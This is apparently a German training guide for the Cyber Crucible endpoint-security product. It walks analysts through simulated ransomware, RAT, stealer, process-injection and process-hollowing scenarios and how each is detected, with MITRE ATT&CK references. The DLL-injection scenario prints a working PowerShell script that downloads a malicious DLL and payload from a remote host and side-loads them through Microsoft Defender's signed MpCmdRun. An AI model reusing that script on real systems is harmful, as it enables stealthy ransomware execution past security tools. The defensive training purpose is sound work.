Cyber Crucible Schulungsinformationen

• Szenarien
• Trainingsszenario – DLL-Injektion
• Trainingsszenario - Vanilla Ransomware
• Trainingsszenario - Signierte Ransomware
• Trainingsszenario – Datenenumeration
• Trainingsszenario - Prozessinjektion
• Trainingsszenario - Speichermodifikation
• Trainingsszenario – Identitätsdiebstahl
• Speichermodifikation
• Abgedeckte Mitre-Techniken
• Prozessinjektion
• Verwaltung von Schulungslizenzen

Szenarien

Trainingsszenario – DLL-Injektion

Gruppenname

Trainingsdaten - Dll Injection (Hive)

Szenario

In diesem Trainingsszenario führen wir eine verschlüsselte Ransomware-Payload mittels DLL-Injektion in einen signierten MS Defender aus. Es wurde eine benutzerdefinierte DLL erstellt, so wie sie ein Angreifer erstellen würde, die eine gefälschte .log-Datei entschlüsselt und ausführt.

Viele Sicherheitstools ignorieren schlicht Prozesse, die von einem signierten übergeordneten Prozess gestartet wurden, insbesondere von einem signierten Antivirus-Prozess, und noch mehr, wenn es sich um Defender handelt. Defender-Befehle sind nicht nur oft erlaubt, sondern auch häufig extrem privilegiert. Hier wird der Befehl für ein Signatur-Update bewaffnet - etwas, das nicht nur üblich ist, sondern auch bei jeglicher Art von Malware-Jagd ignoriert würde. Wir zeigen hier, dass ein Angreifer selbst mit einfachem „Living off the Land“-Handwerk privilegierte Payloads ausführen kann, indem er ein einfaches Skript ohne benutzerdefinierte Injektionswerkzeuge auf dem Rechner platziert.

Hier ist das genaue Skript, das auf dem Opferrechner ausgeführt wurde. Beachten Sie, dass nichts explizit Bösartiges geschieht - das Kopieren der Defender-EXE(s) in ein Staging-Verzeichnis dient lediglich dazu, die C:\staging-Dateien in der Ursachenanalyse hervorzuheben.

mkdir C:\staging
copy C:\Windows\WinSxS\amd64_windows-defender-service_31bf3856ad364e35_10.0.19041.746_none_a39f6d9ab59bd8b7\* C:\staging
move C:\staging\mpclient.dll C:\staging\realdll.dll; cd C:\staging
curl 169.254.247.102:8000/0x80004006.log -outfile 0x80004006.log; curl 169.254.247.102:8000/mpclient.dll -outfile mpclient.dll
./MpCmdRun.exe -SignatureUpdate

Aufgeschlüsselt Zeile für Zeile:

1. Staging-Verzeichnis wird erstellt

2. Defender wird in das Staging-Verzeichnis kopiert

3. Die echte mpclient.dll wird umbenannt

4. Verschlüsselte „Log“-Datei und bösartige DLL werden von einem Remote-Server heruntergeladen

5. Der echte, signierte MpCmdRun wird mit der Signatur-Update-Aufgabe ausgeführt

Erkennung

Betrachtet man zunächst die automatisierte Reaktion, würden bei Ihnen sofort die Alarmglocken läuten. Ein Prozess, der nie zuvor gesehen wurde, mit einem zufälligen GUID-Namen, wurde ausgeführt und hat Cyber Crucible ausgelöst, dazu noch unsigniert. Beachten Sie jedoch, dass der Pfad hier leicht etwas weniger beängstigend aussehen könnte. Er wurde absichtlich als C:\staging belassen, um ihn hervorzuheben.

Der unmittelbar nächste Schritt wäre, diese Datei zu finden und herauszufinden, wie sie dorthin gelangt ist. Wahrscheinlich wurde sie automatisch gelöscht, aber wir können uns die Prozesserstellungen von Cyber Crucible ansehen, um zu sehen, wer sie ursprünglich ausgeführt hat.

Genau wie im obigen Szenario beschrieben, startete ein PowerShell-Skript eine Defender-ausführbare Datei, die wiederum unseren beängstigenden Prozess startete. Die Malware-Payload löste anschließend zahlreiche untergeordnete Prozesse aus, um verschiedene Staging-Aufgaben durchzuführen. Die Einsicht in diese Hintergrundprozesse liefert oft Erkenntnisse über auf dem System erstellte Dateien, geänderte Registrierungsschlüssel, Wurmaktivitäten usw.

Zu diesem Zeitpunkt wurde der Angriff bereits von Cyber Crucible eingedämmt, aber die Analyse der zugehörigen Prozesse ist wichtig, um den Umfang der bösartigen Aktivitäten zu ermitteln. Die Ausführung der unsignierten EXE allein wirkt offensichtlich, wenn sie von Cyber Crucible dargestellt wird, aber häufig würden Hintergrundprozesse, die von etwas so privilegiertem und geschütztem wie Defender gestartet werden, schlicht ignoriert.

Relevante Dokumentation

• Mitre T1543 - Das Erstellen oder Modifizieren eines Systemprozesses kann bösartigen Code als normalen, vertrauenswürdigen Systemprozess vor der Malware-Erkennung tarnen.

• Mitre T1068 - Die Durchführung einer Rechteausweitung über Software-Schwachstellen kann es bösartigem Code ermöglichen, Berechtigungsbeschränkungen oder virtualisierte Umgebungen zu umgehen.

• Mitre T1055-001 - DLL-Injektion kann verwendet werden, um bösartigen Code in einen Prozess zu laden, indem der Zielprozess einfach angewiesen wird, eine neue DLL zu laden, oder indem eine legitime DLL vor dem Laden ersetzt wird.

• Mitre T1059-001 - PowerShell wird von Windows-Malware häufig verwendet, um Malware-Einrichtungen durchzuführen, wie etwa das Ersetzen legitimer Dateien durch bösartige.

Trainingsszenario - Vanilla Ransomware

Gruppenname

Trainingsdaten - Vanilla Ransomware (Hive)

Szenario

In diesem Trainingsszenario führen wir eine „vanilla“ Ransomware-Payload aus, die als Administrator läuft, ohne jegliche Exploits. Dies simuliert das grundlegende Beispiel eines Benutzers, der Malware über einen Phishing-Link, einen bösartigen USB-Stick usw. herunterlädt.

Auch wenn es sich hierbei um eine sehr einfache Ausführungsmethode handelt, bleibt sie – falls die Payload ein Zero-Day ist – dennoch von signaturbasierten Sicherheitsprodukten unbemerkt und kann irreparablen Schaden anrichten, bevor cloudbasierte Verhaltensanalyseprodukte eine Analyse zurückliefern können.

Erkennung

Die Identifizierung dieses Vorfalls ist die einfachste unter allen Beispielen. Sobald der verdächtige Dateiname einer Datei ohne Signatur bemerkt wurde, ist dies ein unmittelbares Warnsignal.

Um die Ausführungsmethode zu bestätigen, können wir die Prozesserstellungen um den Zeitpunkt des Vorfalls betrachten. Was wir sehen, bestätigt, dass es keine komplexe Exploit-Methode gab, nicht einmal ein Skript! Wie auch bei anderen Beispielen sind jedoch die untergeordneten Prozesserstellungen von Interesse. Obwohl die Ausführungsmethode der Malware selbst offensichtlich war, werden viele Hintergrundprozesse gestartet, die Schutzmaßnahmen und andere Systemeinstellungen deaktivieren.

An diesem Punkt wurde der Angriff bereits von Cyber Crucible eingedämmt, aber die Analyse der zugehörigen Prozesse ist wichtig, um das Ausmaß der bösartigen Verhaltensweisen zu ermitteln. Die Ausführung der unsignierten .exe-Datei allein erscheint offensichtlich, wenn sie von Cyber Crucible aufgezeigt wird, aber oft würden Hintergrundprozesse, die von etwas so Privilegiertem und Geschütztem wie Defender gestartet werden, einfach ignoriert werden.

Relevante Dokumentation

• Mitre T1566 - Phishing kann verwendet werden, um einen Benutzer dazu zu bringen, eine Aktion auszuführen, die er sonst nicht durchgeführt hätte, wie z. B. das Ausführen eines Skripts oder das Weitergeben eines Passworts.

• Mitre T1091 - Malware kann sich selbst auf Wechselmedien replizieren, sodass der nächste Computer, an den diese angeschlossen wird, sie über Autorun oder Treiberschwachstellen ausführen kann.

• Mitre T1204 - Die Benutzerausführung, die oft durch Phishing erlangt wird, ist die einfachste Methode, mit der Malware zu laufen beginnen kann.

Trainingsszenario - Signierte Ransomware

Gruppenname

Trainingsdaten - Signierte Ransomware (Hive)

Szenario

In diesem Trainingsszenario führen wir eine Ransomware-Payload aus, die als Administrator läuft und eine benutzerdefinierte Signatur verwendet. Dieses Szenario unterscheidet sich nicht sonderlich vom „Standard“-Beispiel, verwendet jedoch eine signierte ausführbare Datei.

Oft werden signierte ausführbare Dateien so behandelt, als sei bestätigt, dass sie harmlos sind. Zwar sollte zertifizierte Software eigentlich immer signiert sein, doch handelt es sich dabei nicht um eine bidirektionale Beziehung, und wir sollten Dingen nicht allein deshalb vertrauen, weil sie signiert sind. Leider unterläuft dieser Fehler manchmal doch.

Erkennung

Abgesehen davon, dass dieser Zertifikatsname für Trainingszwecke etwas seltsam ist, wie erkennt Cyber Crucible, dass er nicht vertrauenswürdig ist? Cyber Crucible geht auf Nummer sicher und führt eine (gruppenspezifische) Liste vertrauenswürdiger Zertifikate. Dadurch können wir sowohl Test-Signaturzertifikate als auch offizielle Zertifikate großer Zertifizierungsstellen wie DigiCert problemlos erkennen.

Wie oben zu sehen ist, ist die Datei „321d0…“ zwar signiert, aber dennoch nicht vertrauenswürdig. Da keine weiteren komplexen Verschleierungstechniken zur Verbreitung des Angriffs verwendet wurden, wissen wir genau, woher er stammt!

Um die Ausführungsmethode zu bestätigen, können wir uns die Prozesserstellungen im Zeitraum des Vorfalls ansehen. Was wir sehen, bestätigt, dass es keine komplexe Exploit-Methode gab, nicht einmal ein Skript! Wie bei anderen Beispielen sind jedoch die Erstellungen von Kindprozessen interessant. Obwohl die Ausführungsmethode der Schadsoftware selbst offensichtlich war, werden viele Hintergrundprozesse gestartet, die Schutzmaßnahmen und andere Systemeinstellungen deaktivieren.

An diesem Punkt wurde der Angriff bereits von Cyber Crucible eingedämmt, doch die Analyse der zugehörigen Prozesse ist wichtig, um den Umfang der bösartigen Verhaltensweisen zu ermitteln. Die Ausführung der unsignierten EXE-Datei allein wirkt offensichtlich, wenn sie von Cyber Crucible dargestellt wird, aber oft würden Hintergrundprozesse, die von etwas so privilegiertem und geschütztem wie Defender gestartet werden, einfach ignoriert werden.

Relevante Dokumentation

• Mitre T1566 - Phishing kann verwendet werden, um einen Benutzer dazu zu bringen, eine Handlung auszuführen, die er sonst nicht ausgeführt hätte, wie z. B. das Ausführen eines Skripts oder das Weitergeben eines Passworts.

• Mitre T1091 - Schadsoftware kann sich selbst auf Wechselmedien replizieren, sodass sie beim Anschließen an den nächsten Rechner über Autorun oder Treiber-Schwachstellen ausgeführt werden kann.

• Mitre T1204 - Benutzerausführung, die häufig durch Phishing erlangt wird, ist der einfachste Weg für Schadsoftware, mit der Ausführung zu beginnen.

• Mitre T1587-002 - Code-Signaturzertifikate sind eine Möglichkeit für eine Autorität, den Code einer Anwendung zu zertifizieren. Schadsoftware kann ein Zertifikat erzeugen, das von keiner Zertifizierungsstelle stammt, aber einen Benutzer glauben lassen, es sei legitim.

• Mitre T1587-003 - SSL-Zertifikate werden verwendet, um sicherzustellen, dass die Datenübertragung vertrauenswürdig ist. In einer schlecht konfigurierten Umgebung kann Schadsoftware in der Lage sein, ihr eigenes SSL-Zertifikat zu installieren, um Man-in-the-Middle-Angriffe zu ermöglichen.

Trainingsszenario – Datenenumeration

Gruppenname

Trainingsdaten - RAT-Exfiltration (Quasar)

Szenario

In diesem Trainingsszenario führen wir einen RAT auf der Opfermaschine aus und nutzen ihn, um die Daten auf der Festplatte zu enumerieren, mit dem Ziel, Dateien zu exfiltrieren.

Auch wenn es sich hierbei nicht um einen Ransomware-Angriff handelt, fallen die vom RAT verwendeten Verhaltensweisen unter die Kategorie der Datenerpressungsverhalten, die Cyber Crucible erkennt. Die Reaktion auf den Vorfall und die zugehörigen Daten sehen der Reaktion auf eine Ransomware-Payload sehr ähnlich, denn für Cyber Crucible ist das alles dasselbe!

Erkennung

Diese ausführbare Datei sieht etwas eigenartig aus, befindet sich aber in system32 und löst wiederholte Reaktionen aus. Es sind weitere Untersuchungen erforderlich, um herauszufinden, was hier passiert ist. Wir können damit beginnen, nach untergeordneten Pfaden zu suchen, die mit dem Reaktionspfad in Zusammenhang stehen.

Hier erhalten wir weitere Hinweise zur Geschichte. Ein Benutzer hat client-build.exe vom Desktop aus ausgeführt, bei dem es sich um den RAT-Dropper handelt. Anschließend scheint eine Privilegienerweiterung über einen svchost stattzufinden. Es fehlen jedoch noch einige Teile des Puzzles. Woher wissen wir, dass es sich um einen RAT handelt und nicht nur um etwas, das mit svchost interagiert?

Dies eröffnet eine ganze Menge mehr an Transparenz! Wir wissen nun nicht nur mit Sicherheit, dass verdächtige Aktivitäten im Gange sind und welche Pfade damit zusammenhängen, sondern auch, dass Persistenz erzeugt wird. Und wir sehen sogar, dass wir es mit Quasar zu tun haben, einem bekannten RAT.

Quasar ist ein hochentwickelter RAT und führt die meisten seiner Verhaltensweisen innerhalb seiner eigenen ausführbaren Datei aus, wobei er für viele Zwecke lieber seine eigenen statisch kompilierten Bibliotheken mitbringt, anstatt die Standardwerkzeuge von Windows zu verwenden. Aber selbst Quasar wird erwischt, wenn er Dinge wie schtasks verwendet.

Relevante Dokumentation

• Mitre T1566 - Phishing kann verwendet werden, um einen Benutzer dazu zu bringen, eine Aktion auszuführen, die er sonst nicht durchgeführt hätte, wie z. B. das Ausführen eines Skripts oder das Weitergeben eines Passworts.

• Mitre T1091 - Malware kann sich selbst auf Wechseldatenträger replizieren, sodass der nächste Rechner, an den dieser angeschlossen wird, sie über Autorun oder Treiber-Schwachstellen ausführen kann.

• Mitre T1204 - Benutzerausführung, oft durch Phishing erreicht, ist der einfachste Weg für Malware, mit der Ausführung zu beginnen.

• Mitre T1547 - Malware kann Windows anweisen, bösartige Programme beim Booten oder bei der Benutzeranmeldung auszuführen.

• Mitre T1037 - Malware kann Windows anweisen, bösartige Skripte beim Booten oder bei der Benutzeranmeldung auszuführen.

• Mitre T1543 - Das Erstellen oder Verändern eines Systemprozesses kann bösartigen Code als normalen, vertrauenswürdigen Systemprozess vor der Malware-Erkennung tarnen.

Trainingsszenario - Prozessinjektion

Gruppenname

Trainingsdaten - Prozessinjektion (Hive)

Szenario

In diesem Trainingsszenario führen wir eine Ransomware-Payload mittels Prozessinjektion in einen bereits laufenden Svchost.exe-Prozess aus. Der betreffende Svchost ist ein normaler Systemvorgang, läuft seit längerem, ist signiert und wird unter dem LocalSystem-Benutzerkonto ausgeführt.

Da der Svchost „echt“ ist, wird er oft übersehen. Administratoren wissen, dass viele Instanzen von Svchost ausgeführt werden, und solange die Argumente des Programms korrekt aussehen, wird er als „Black Box“ behandelt und in Ruhe gelassen. Dies ist eine offensichtliche und häufig ausgenutzte Schwachstelle, die Hacker sich zunutze machen. In Kombination mit einer Zero-Day-Payload ist dieser Ansatz sehr erfolgreich darin, Ransomware-Angriffe zu verschleiern.

Erkennung

Die Situation rund um diese automatisierte Reaktion ist auf den ersten Blick nicht direkt erkennbar. Die Kommandozeilenargumente sehen für Svchost gültig aus, und die ausführbare Datei ist von Microsoft signiert.

Die Tatsache, dass ein nicht vertrauenswürdiger Remote-Thread vorliegt, ist verdächtig, erfordert jedoch weitere Untersuchung. Viele Remote-Threads treten auf einem System auf, aber die meisten davon bleiben „vertrauenswürdig“, da sie für normale Interprozesskommunikation, Datenaustausch usw. verwendet werden.

Wenn ein Remote-Thread auf ungewöhnliche Weise in einen Prozess erstellt und als nicht vertrauenswürdig markiert wird, ist genauere Prüfung erforderlich.

Um die vielen Prozessinjektionen zu sortieren, die zu einem bestimmten Zeitpunkt auf einem System auftreten, können wir uns sowohl auf den Zeitpunkt des Vorfalls als auch auf die PID des markierten Prozesses beziehen. Normalerweise beginnen wir mit einigen PIDs verdächtiger Reaktionen und arbeiten uns die Kette der Injektionen und Erstellungen hinauf, um die vollständige Geschichte zu erfassen.

Wir wissen bereits, dass niemand auf diese Weise in Svchost injizieren sollte, aber ganz sicher nicht dieser Prozess! Von hier an können wir diesen Prozess so behandeln, als wäre es „malware.exe“, und herausfinden, wer ihn ausgeführt hat, da es jemand gewesen sein muss.

Da es zwei Prozesserstellungen mit PID 9168 gab und diese sehr unterschiedlich sind, können wir dies anhand des Zeitstempels und/oder des untergeordneten Pfads eingrenzen und feststellen, dass er von einem explorer.exe erstellt wurde. Das bedeutet, dass jemand den Injektorprozess manuell ausgeführt hat, und es kann kein Zufall eines fälschlicherweise markierten Svchost-Verhaltens sein.

Relevante Dokumentation

• Prozessinjektion

• Mitre T1559 - Interprozesskommunikation kann dem Injektor nach Abschluss der Injektion Kontrolle über den Zielprozess ermöglichen.

• Mitre T1106 - Native APIs bieten oft den direktesten Zugriff auf Betriebssystemfunktionen zum Zugriff auf Dateien, laufende Prozesse und mehr.

• Mitre T1569 - Die Injektion in einen Systemdienst wie einen bestehenden Svchost kann bösartigen Code so tarnen, dass er als von einem bekannten und vertrauenswürdigen Prozess ausgeführt gemeldet wird.

• Mitre T1055 - Prozessinjektion, üblicherweise verwendet, um bösartigen Code in einem Zielprozess auszuführen, während der ursprüngliche Prozess weiterlaufen kann.

Trainingsszenario - Speichermodifikation

Gruppenname

Trainingsdaten - Process Hollowing SQL (Hive)

Szenario

In diesem Trainingsszenario führen wir eine Ransomware-Payload mittels Process Hollowing aus, einer Injektions-/Umgehungstechnik, bei der ein Prozess gestartet und dessen ausführbarer Code so modifiziert wird, dass er ein anderes Verhalten ausführt.

In-Memory-Tradecraft gehört zu den am schwersten zu erkennenden Techniken, und noch schwerer ist es, eine automatisierte Reaktion darauf zu haben, weshalb sie oft ignoriert wird. Speicher ist per Definition flüchtig und ändert sich ständig. Um Änderungen im Speicher eines Prozesses zu identifizieren, müssen relevante Bereiche erkannt und zu unterschiedlichen Zeitpunkten im Lebenszyklus eines Prozesses ausgewertet werden, um festzustellen, ob er manipuliert wurde.

Erkennung

Reaktionen auf Speichermodifikationen sind bei Weitem am schwierigsten zu untersuchen. Da Speicher vergänglich ist, wird er wie eine „Black Box“ behandelt und oft auf Abstand gehalten. Die gute Nachricht ist, dass wir seit Cyber Crucible 4.4.1.3 nun die Möglichkeit haben, automatisch Telemetriedaten für modifizierte Speicherproben zu erfassen und dabei zu identifizieren, welche Speicherbereiche verändert wurden und welche genauen Änderungen daran vorgenommen wurden.

Diese Art der Analyse ist jedoch sehr aufwendig, daher ist ein guter erster Schritt, die zugehörigen Prozesse im Dashboard zu überprüfen, um sich einen Eindruck vom zugehörigen Verhalten zu verschaffen. Da es sich bei dem betreffenden Prozess um eine signierte SQLCMD.exe handelt, sollte schnell klar werden, ob es sich um einen harmlosen SQL-Prozess oder etwas Schlimmeres handelt.

Bisher sieht alles gut aus, nur normale SQL-Prozesse, nichts, das notwendigerweise verdächtig oder unverdächtig ist. Allerdings sehen wir es nie gern, wenn CMDs an automatisierten Reaktionen beteiligt sind. Graben wir etwas tiefer.

Und da ist er! Wir können weiter scrollen und immer mehr solcher Verhaltensweisen sehen. Die SQLCMD.exe führt alle möglichen Befehle aus, um Dienste zu deaktivieren, Konfigurationen zu ändern, und alles, was Ransomware präventiv tun würde.

Hier können wir eine kleine Vorstellung davon bekommen, was uns erwartet, wenn wir tiefer graben und die Speicher-Diffs analysieren. Die meiste Tradecraft, die ausgereift genug ist, um vollständig speicherbasierte Malware zu erstellen, wird auch ihren Code im Speicher verschleiern. Dies macht die Analyse extrem schwierig, aber der Zugriff auf die zusätzlichen Telemetriedaten hat sich bereits als unschätzbar wertvoll für die Vorfallserkennung sowie die Verhaltensfeinabstimmung erwiesen.

Relevante Dokumentation

• Process Injection

• Mitre T1559 - Inter-Process-Kommunikation kann nach Abschluss der Injektion Kontrolle über den Zielprozess vom Injektor aus ermöglichen.

• Mitre T1106 - Native APIs bieten oft den unmittelbarsten Zugriff auf Betriebssystemfunktionalität, um auf Dateien, laufende Prozesse und mehr zuzugreifen.

• Mitre T1569 - Das Injizieren in einen Systemdienst wie einen bestehenden svchost kann bösartigen Code so tarnen, dass er als von einem bekannten und vertrauenswürdigen Prozess ausgehend gemeldet wird.

• Mitre T1055 - Prozessinjektion, üblicherweise verwendet, um bösartigen Code in einem Zielprozess auszuführen, während der ursprüngliche Prozess weiterlaufen kann.

• Mitre T1543 - Das Erstellen oder Modifizieren eines Systemprozesses kann bösartigen Code als normalen, vertrauenswürdigen Systemprozess vor der Malware-Erkennung tarnen.

Trainingsszenario – Identitätsdiebstahl

Gruppenname

Trainingsdaten - Identitätsdiebstahl (Redline)

Szenario

In diesem Trainingsszenario führen wir ein Stück „Stealer“-Malware aus, um die erste Phase eines Angriffs, den Diebstahl von Zugangsdaten, durchzuführen. Im Gegensatz zum RAT-Szenario verwendet dieses nicht dieselben Verhaltensweisen wie Ransomware. Stattdessen ist dies Teil der wachsenden Identitätsschutzfähigkeiten von Cyber Crucible.

Oft, noch bevor es überhaupt zu einer Erpressung kommt, bestehen die ersten Schritte eines Angreifers darin, sich wurmartig durch das Netzwerk zu bewegen und Zugriff auf möglichst viele Zugangsdaten zu erlangen. In manchen Fällen handelt es sich dabei um eine AD-Benutzername/Passwort-Kombination, in anderen Fällen um API-Schlüssel, die aus Browsersitzungen entwendet werden.

Erkennung

Schauen wir uns nun genauer an, wie abnormaler Zugriff für den Administrator aussieht.

Zugriffe auf Identitätsdaten sind sehr eindeutig: Wenn die Administratoren ein Programm nicht kennen, sollte es keinen Zugriff auf diese Daten haben! Dies fällt sofort als etwas Verdächtiges auf.

Wie sieht die Kehrseite davon aus der Sicht des Angreifers aus? Klartext!

Diese Reaktionen sind keine Reaktionen wie bei traditionellen Datenerpressungsereignissen, daher handelt es sich nicht um Maßnahmen einer automatisierten Suspendierung. Stattdessen ähneln sie eher Prozessinjektionen, bei denen Cyber Crucible nicht im Weg stand. Da unsere Analysen stetig weiterentwickelt wurden, haben wir gelernt, wie „normaler“ Zugriff auf Identitätsspeicher für verschiedene Arten von Anwendungen aussieht. Bis 2023 werden wir unsere Schutzfunktion aktivieren, die den Zugriff auf verschiedene Formen von Identitätsdatenbanken auf Kernel-Ebene einschränkt und nur der zugehörigen Software den Zugriff darauf erlaubt.

Relevante Dokumentation

• Process Injection

• Mitre T1559 - Interprozesskommunikation kann dem Injektor die Kontrolle über den Zielprozess ermöglichen, sobald die Injektion abgeschlossen ist.

• Mitre T1106 - Native APIs bieten oft den direktesten Zugriff auf Betriebssystemfunktionen, um auf Dateien zuzugreifen, Prozesse auszuführen und mehr.

• Mitre T1569 - Die Injektion in einen Systemdienst wie einen bestehenden svchost kann bösartigen Code so tarnen, dass er als von einem bekannten und vertrauenswürdigen Prozess ausgeführt erscheint.

• Mitre T1055 - Prozessinjektion, meist verwendet, um bösartigen Code in einem Zielprozess auszuführen, während der ursprüngliche Prozess weiterläuft.

• Mitre T1543 - Das Erstellen oder Verändern eines Systemprozesses kann bösartigen Code als normalen, vertrauenswürdigen Systemprozess vor der Malware-Erkennung tarnen.

• Mitre T1555 - Gespeicherte Zugangsdaten aus unverschlüsselten Passwort-Managern oder Browsern können genutzt werden, um Zugriff auf privilegierte Daten zu erlangen.

• Mitre T1212 - Zugangsdaten könnten gestohlen werden, indem eine verwundbare Software ausgenutzt wird, die vom Benutzer eingegebene Zugangsdaten nicht verschlüsselt.

Speichermodifikation

Was ist Speichermodifikation?

Speichermodifikation ist, wie Cyber Crucible den Begriff verwendet, der Zustand, wenn die ausführbaren Speicherbereiche eines Prozesses auf ungewöhnliche Weise verändert wurden. Die normale Ausführung eines gegebenen Prozesses, ohne äußere Manipulation, löst diese Modifikationen nicht aus – sie unterscheiden sich von normalen „flüchtigen Speicher“-Vorgängen innerhalb eines Prozesses.

Eine gängige Technik der Speichermodifikation ist Process Hollowing, bei der ein Angreifer einen Opferprozess auf dem Rechner startet, häufig zunächst in einem angehaltenen Zustand, und den ausführbaren Code so verändert, dass tatsächlich der Code eines anderen Programms ausgeführt wird.

Relevante MITRE-Taktiken:

Welche Folgen hat das?

Speichermodifikationen können sehr ähnliche Folgen wie andere Process-Injection-Techniken haben, sind jedoch noch schwerer zu erkennen. Da es keine Erstellung von Remote-Threads oder Aufrufe externer Funktionen gibt, kann es oft sehr schwierig sein, Speichermodifikationen überhaupt zu erkennen, und noch schwieriger, sie einem bestimmten Prozess zuzuordnen.

Ein Prozess mit modifiziertem Speicher kann dazu gezwungen werden, bösartige Aktivitäten auszuführen, die er sonst nicht ausführen würde. Kein Prozess mit manipuliertem ausführbarem Speicher sollte als vertrauenswürdig eingestuft werden, da dies kein normales Vorkommnis bei Inter-Prozess-Kommunikation oder -Interaktionen ist.

Was unternimmt Cyber Crucible?

Cyber Crucible überwacht den Zustand des Speichers eines Prozesses während seines gesamten Lebenszyklus. Wird der Speicher als manipuliert eingestuft, wird der Prozess markiert und als nicht vertrauenswürdig betrachtet. Zum Zeitpunkt eines Erpressungsereignisses wird der Speicher als Snapshot erfasst, um ihn für mögliche IR-Untersuchungen bereitzustellen.

Der erfasste Speicher-Snapshot enthält den ursprünglichen, unveränderten ausführbaren Speicher sowie etwaige „Diffs“ mit ihren Offsets innerhalb des Prozessspeichers. Die Analyse dieser Speicherabbilder kann anspruchsvoll sein, liefert jedoch häufig starke Hinweise auf das Verhalten des bösartigen Codes.

Woran erkenne ich das?

Modifizierter Speicher ist im Vergleich zu anderen Methoden der Process Injection schwerer und flüchtiger aufzuspüren. Stattdessen bieten wir einen schnellen booleschen Wert, um zu erkennen, dass eine Modifikation stattgefunden hat; die eigentliche Analyse der Speicher-Diffs erfordert dann eine tiefergehende Untersuchung.

Die Erfassung des Speichers ist nur der erste Schritt; selbst nach der Disassemblierung kann der Code stark verschleiert und schwer lesbar sein. Die gute Nachricht ist, dass uns für diese Analyse viele Informationen zur Verfügung stehen, wenn wir über den ursprünglichen Speicher, die zugehörigen Metadaten, die Original-Ausführungsdatei und die modifizierten ausführbaren Anweisungen selbst verfügen.

1. ja, 2.

Beispielszenarien:

Abgedeckte Mitre-Techniken

Prozessinjektion

Verwaltung von Schulungslizenzen